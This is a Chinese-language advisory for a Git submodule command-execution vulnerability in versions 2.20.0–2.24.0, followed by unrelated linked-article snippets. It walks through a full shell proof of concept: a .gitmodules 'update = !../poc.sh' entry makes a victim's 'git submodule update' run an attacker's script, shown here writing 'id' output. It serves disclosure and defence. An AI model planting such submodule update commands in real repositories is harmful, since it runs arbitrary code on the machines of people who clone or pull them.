Git submodule update 命令执行
git submodule update
操作可能导致执行.gitmodules
文件中定义的任意shell命令。
受影响的产品
- Git版本2.20.0至2.24.0
修复版本
- Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2
披露时间表
- 2019-11-11 git-security邮件列表的初步报告
- 2019-12-10 Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2发布
CVE编号
细节
git-submodule 的手册页指出了子模块的以下配置选项:
以下更新过程仅通过submodule..update配置变量可用:
自定义命令使用单个参数(超级项目中记录的提交的sha1)的任意shell命令将被执行。当submodule..update设置为!command时,感叹号后的其余部分为自定义命令。
可以.gitmodules
在Git存储库中的文件中定义此配置值。但是,--init
使用该标志时,该设置将被覆盖。
该方法init_submodule
中builtin/submodule--helper.c
注意到了这一问题:
if (git_config_get_string(sb.buf, &upd) &&
sub->update_strategy.type != SM_UPDATE_UNSPECIFIED) {
if (sub->update_strategy.type == SM_UPDATE_COMMAND) {
fprintf(stderr, _("warning: command update mode suggested for submodule '%s'\n"),
sub->name);
upd = xstrdup("none");
} else
上面的代码将更新策略设置为none
内.git/config
包含子模块的存储库。
仅当在--init
没有submodule.<name>.update
策略的情况下调用,git submodule update
且随后update
在内调用将策略设置为外部命令的后续调用时,该命令才会在特殊情况下执行.gitmodules
。
开发实例
首先,我们准备一个存储库:
joern@hostname ~/tmp $ mkdir example
joern@hostname ~/tmp $ cd example
joern@hostname ~/tmp/example $ git init .
Initialized empty Git repository in /home/joern/tmp/example/.git/
joern@hostname ~/tmp/example $ git submodule add https://gitlab.com/joernchen/xxeserve.git
Cloning into '/home/joern/tmp/example/xxeserve'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (29/29), done.
remote: Total 34 (delta 14), reused 0 (delta 0)
Unpacking objects: 100% (34/34), done.
joern@hostname ~/tmp/example $ git commit -m "first commit"
[master (root-commit) 9ed9add] first commit
2 files changed, 4 insertions(+)
create mode 100644 .gitmodules
create mode 160000 xxeserve
到目前为止,关于存储库没有什么特别的:
joern@hostname ~/tmp/example $ cat .gitmodules
[submodule "xxeserve"]
path = xxeserve
url = https://gitlab.com/joernchen/xxeserve.git
接下来,克隆存储库:
joern@hostname ~/tmp $ git clone --recurse-submodules example test
Cloning into 'test'...
done.
Submodule 'xxeserve' (https://gitlab.com/joernchen/xxeserve.git) registered for path 'xxeserve'
Cloning into '/home/joern/tmp/test/xxeserve'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (29/29), done.
remote: Total 34 (delta 14), reused 0 (delta 0)
Submodule path 'xxeserve': checked out 'c4a859fb16e2c65a1708d1c0a404f339191fd8e9'
回到原始存储库,我们更改子模块并在中引入命令.gitmodules
:
joern@hostname ~/tmp/example $ echo -e '#!/bin/bash\x0aid>/tmp/poc.txt' > poc.sh
joern@hostname ~/tmp/example $ echo ' update = !../poc.sh' >> .gitmodules
joern@hostname ~/tmp/example $ chmod +x poc.sh
joern@hostname ~/tmp/example $ cd xxeserve
joern@hostname ~/tmp/example/xxeserve $ git checkout 0f5c204
Previous HEAD position was c4a859f Merge pull request #4 from mccabe615/master
HEAD is now at 0f5c204 Update README.md
joern@hostname ~/tmp/example/xxeserve $ cd ..
joern@hostname ~/tmp/example $ git add .
joern@hostname ~/tmp/example $ git commit -m 'second commit'
[master ec3abce] second commit
3 files changed, 4 insertions(+), 1 deletion(-)
create mode 100755 poc.sh
在克隆的存储库中,命令将在git pull
之后运行git submodule update
:
joern@hostname ~/tmp/test $ git pull
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (4/4), done.
From /home/joern/tmp/example
+ 113237f...ec3abce master -> origin/master (forced update)
Updating 9ed9add..ec3abce
Fast-forward
.gitmodules | 1 +
poc.sh | 2 ++
xxeserve | 2 +-
3 files changed, 4 insertions(+), 1 deletion(-)
create mode 100755 poc.sh
joern@hostname ~/tmp/test $ git submodule update
Submodule path 'xxeserve': '../poc.sh 0f5c2043db22ff091b800cb6c61e015492ad0885'
joern@hostname ~/tmp/test $ cat /tmp/poc.txt
uid=1000(joern) gid=1000(joern) groups=1000(joern),3(sys),90(network),98(power),991(lp),998(wheel)
外部参考
- Git发布公告
- https://about.gitlab.com/blog/2019/12/10/critical-security-release-gitlab-12-5-4-released/
- https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md
Git submodule update 命令执行的更多相关文章
- npm遇到的问题--npm install 执行报错 /bin/git submodule update -q --init --recursive
1.执行npm i 安装依赖时,报错:cannot read property 'match' of undefined 据说是npm本地缓存导致 解决方案: rm -rf package-lock. ...
- git submodule update --init 和 --remote的区别
git 的submodule 工具方便第三方库的管理,比如gitlab 上的各种开源工具,spdlog等 在项目目录下创建.gitmodule 里可以添加第三方库,然后在更新第三方库时,有两个选项 g ...
- git submodule update --init --recursive
最近在跑好几个模型,视频检测,物体检测,搭建mxnet时,有点问题,记录一下. 视频检测,mxnet需要用指定版本,git 切换到指定版本后,update了,但是依然提示说有些库找不到.想了想,应该是 ...
- Git Submodule使用完整教程
Git Submodule功能刚刚开始学习可能觉得有点怪异,所以本教程把每一步的操作的命令和结果都用代码的形式展现给大家,以便更好的理解. 1.对于公共资源各种程序员的处理方式 每个公司的系统都会有一 ...
- git常用的命令集合
Git 是一个很强大的分布式版本控制系统.它不但适用于管理大型开源软件的源代码,管理私人的文档和源代码也有很多优势. Git常用操作命令: 1) 远程仓库相关命令 检出仓库:$ git clone g ...
- Git submodule 特性
当你习惯了代码的 VCS 后,基本上是离不开的. 作为一个依赖多个子项目组成的项目,要实现直观的代码逻辑结构,可以考虑使用 Git submodule 特性. 当然,如果只是单独的依赖的话,用依赖管理 ...
- 使用git submodule管理一个需要多个分立开发或者第三方repo的项目
在项目开发中,特别是web前端开发中,有非常多的开源第三方library,我们希望引用他们,同时也希望能够方便地保持这些第三方 开源repo的更新.另外一方面如果我们自己在开发一个网站的项目,这个项目 ...
- Git submodule实战
http://blog.jqian.net/post/git-submodule.html 使用git管理的项目开发中,如果碰到公共库和基础工具,可以用submodule来管理. 常用操作 例如, 公 ...
- git submodule相关操作
$ cd 项目目录 // 初始化 $ git init $ git submodule add https://github.com/XXXX // 普通更新 $ git submodule upda ...
随机推荐
- 全网最通俗易懂的Kafka入门!
前言 只有光头才能变强. 文本已收录至我的GitHub仓库,欢迎Star:https://github.com/ZhongFuCheng3y/3y 在这篇之前已经写过两篇基础文章了,强烈建议先去阅读: ...
- 记一次MySQL数据库导入错误
昨天在转数据的时候,控制台报出了下面这个warning: Warning: Data truncated for column '控制距离' at row 1 字面上意思应该是:控制距离这一字段在第一 ...
- 堆模板(STL版)
题目描述 如题,初始小根堆为空,我们需要支持以下3种操作: 操作1: 1 x 表示将x插入到堆中 操作2: 2 输出该小根堆内的最小数 操作3: 3 删除该小根堆内的最小数 输入输出格式 输入格式: ...
- Centos 6.x Openssh 升级 7.7p1 版本
OpenSSH 升级 目前在一家金融公司上班,正好赶上金融公司各种暴雷,本人心里慌慌的. 然后就是金融公司要进行的最低的三级等保评测,各种修改系统安全,密码强度.WAF.防火墙等各种. 评测公司对我司 ...
- springboot+微信小程序实现微信支付【统一下单】
说明: 1)微信支付必须有营业执照才可以申请 2)微信支付官方api是全套的,我这是抽取其中的统一下单api,做了一个简单的封装 首先看看微信支付 商户系统和微信支付系统主要交互: 1.小程序内调用登 ...
- 如何用 Python 写一个简易的抽奖程序
不知道有多少人是被这个头图骗进来的:) 事情的起因是这样的,上周有同学问小编,看着小编的示例代码敲代码,感觉自己也会写了,如果不看的话,七七八八可能也写的出来,但是一旦自己独立写一段程序,感觉到无从下 ...
- 大型情感剧集Selenium:9_selenium配合Pillow完成浏览器局部截图
网页截图 上次提到了selenium的四种截图方法,最终截图了整张网页.但很多时候,我们仅仅需要截图部分的内容.比如截取某个关键信息,或者现在已经不常见的截图验证码(现在都是各种按规则点击-).那么我 ...
- 使用node.js将xmind导出的excel转换为json树
xmind文件如图所示, 最终生成的数据结构如图 2,选择导出为excel文件,导出的excel文件打开如图 3,安装node读取excel模块 cnpm i node-xlsx --save 4 ...
- 基于webpack实现多html页面开发框架八 html引入图片打包和公共页面模块复用
一.解决什么问题 1.html中img引入的图片地址没有被替换,找不到图片 2.html公共部分复用问题,如头部.底部.浮动层等 二.html中img引入图片问题解决 1.在index.html插入i ...
- MyBatis框架的基本配置
MyBatis的基本配置文件: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE config ...